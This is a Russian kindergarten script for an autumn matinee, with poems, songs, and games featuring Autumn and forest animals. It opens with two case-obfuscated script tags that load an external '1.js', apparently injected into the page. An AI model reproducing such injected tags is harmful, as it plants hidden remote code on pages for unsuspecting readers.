<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

25.01.2018

Сценарий утренника    

 «Как ребята в гости Осень звали», 2017

Цель: Создать у детей радостное настроение.

Задачи:

*Воспитывать любовь к природе, трудолюбие.

*Формировать самостоятельность, доброжелательность,

коммуникабельность.

*Развивать творческое воображение, память, внимание,

речь.

*Закреплять и расширять знания детей о приметах осени,

лесных животных.

*Закреплять вокально-хоровые навыки в процессе

группового пения.

*Совершенствовать музыкально-ритмические навыки детей

через танцы,    

  упражнения, игры.

 

Главные герои:  

Взрослые: Ведущий, Осень.  

Дети: Ёжик, Зайчик, Лиса, Мышка.

 

                                                    Ход праздника

Ведущий:    Листья солнцем наливались,

Листья солнцем пропитались,

Налились, отяжелели

И по ветру полетели.

Зашуршали по кустам,

Видно их и тут, и там.

Ветер золото кружит,

Золотым дождём шумит!

Ребята,

какое это время года?

Дети. Осень!

 

Дети.

1. Праздник осени в лесу

И светло и весело.

Вот какие украшенья

Осень здесь развесила.

 

2. Каждый листик золотой,

Маленькое солнышко—

Соберу в корзинку я,

Положу на донышко.

 

3. Золотые листики

С дерева летят,

Кружит ветер листики—

Это листопад.

 

4. Журавли на юг летят.

Здравствуй, здравствуй, осень!

Приходи на праздник к нам,

Очень, очень просим.

                                                           

5. Здесь мы праздник радостный

Весело встречаем.

Приходи на праздник к нам,

Осень золотая!

            Песня «Осень, осень, осень  в гости к нам пришла» ст. гр.

Ведущий: Ребята, давайте осень позовём к нам на праздник!

Дети повторяют за ведущим слова:

Осень, осень в гости просим,

Погости неделек восемь.

Ведущий: Музыка играет, ветерок поет,

Слышу, кто-то к нам сюда идет!

(Под музыку входит Лиса.)

Лиса: Уж как осень наступила,

Все деревья нарядила.

Ну и я принарядилась –

Посмотрите на меня.

Платье рыжее надела

В день осенний я не зря.

Ведущий: Здравствуй, лисичка – рыжая сестричка, мы звали Осень, а ты не знаешь, где она?

Лисичка: Меня Осень прислала, 

чтобы я с вами поиграла,

Ведущий: Выходите, дети, с Лисонькой играть,

Разноцветные листочки будем собирать,

А ещее с листочками будем танцевать!

(Дети ср. гр.  берут каждый по два листочка.)

Танец  «Листочки»,  ср. гр.

Ю. Селиверстова

Ведущий: Ребята, давайте ещё раз осень позовём.

                                            Дети повторяют за ведущим слова:

Осень, осень в гости просим,

Погости неделек восемь.

                                                     

Входит мышка.

Мышка: Я мышка-норушка

Я тут мимо пробегала,

Смех веселый услыхала.

И решила не на шутку,

Загляну к вам на минутку,

Посмотреть, что за народ,

В этом садике живет!

Ведущий: Что же, мышка, мы рады, что ты к нам пришла, а ты репку любишь?

Мышка: Да.

Ведущий: Тогда приглашаю всех поиграть в интересную игру.  Она так и называется   «Репка».

                                                  Игра «Репка»

Дети встают в круг. В середине круга – «репка», за кругом – «мышка».

Репка, репонька,

Расти крепонька, –                        

Дети идут по кругу и поют

Ни мала, ни велика,

До мышиного хвоста! Да!

Репка в это время растет, а мышка двигается противоходом. С окончанием пения дети поднимают сцепленные руки вверх, «репка» убегает, «мышка» её ловит. В конце «мышка» и «репка» пляшут.

Ведущий: Давайте в третий раз осень позовём,   да погромче!

Входит Осень.

Вед. Здравствуй, Осень! Как хорошо, что ты пришла!

Осень. Здравствуйте! Я - Осень,

Буду рада вместе с вами

Веселиться и играть,

Песни петь и танцевать.

Вед. Осень, а что у тебя в корзинке?

Осень. У меня в корзинке капельки-дождинки.

Вед. А мы дождя не боимся, давайте  песенку про него споём.

                                Песня «Дождик»  М . Парцхаладзе, ср. гр.

Осень.   А в моей корзине  есть галоши для вас, чтобы вы по лужам ходили

и ноги не промочили.

                                            Игра «Перейди лужу в калошах!»

Участвуют по два ребенка. По сигналу дети надевают калоши и бегут до стула и обратно. Побеждает тот, кто прибежит быстрее.

Ведущий: Я вижу, что из волшебного леса к нам ещё и ёжик прибежал.

Ёж: Я — лесной колючий Ежик, нет ни головы, ни ножек!

Наконец я к вам пришел, путь-дороженьку нашел!

Так спешил я, так устал, что чуть-чуть не опоздал!

Ведущий: А что это ты нам на колючках принёс? Грибы, яблочки,

листочки, цветочки. А шишки ты принес?  Давайте с ними поиграем!

Музыкальная игра «Собери шишки».

После  игры  в зал прибегает Зайчик.

Ведущий: А ещё и зайчик к нам прискакал.

Зайчик: Я зайчик - побегайчик

По дорожке пошел

К вам на праздник пришёл.

Ведущий: А что у тебя в мешке? Овощи? А какие – не знаешь?  Тогда ребята сами угадают на ощупь.

                                             Игра «Кот в мешке»

Надо определить на  ощупь овощ или фрукт, не вынимая его из мешочка.

Осень: Звери в моём лесу дружные и очень добрые,  и они любят танцевать. Давайте вместе с ними

станцуем танец .

                                   Танец-игра  «Руки вверх и поворот».

Осень: И я к вам не с пустыми руками. Ешьте мои яблочки, да здоровья набирайтесь на всю зиму. (Угощает детей  яблоками.)

Ведущий:

Славно мы повеселились,

Очень крепко подружились!

Поплясали, поиграли,

Все вокруг друзьями стали!

Осень: Нам пора уже прощаться,

В путь обратный собираться!

До свидания!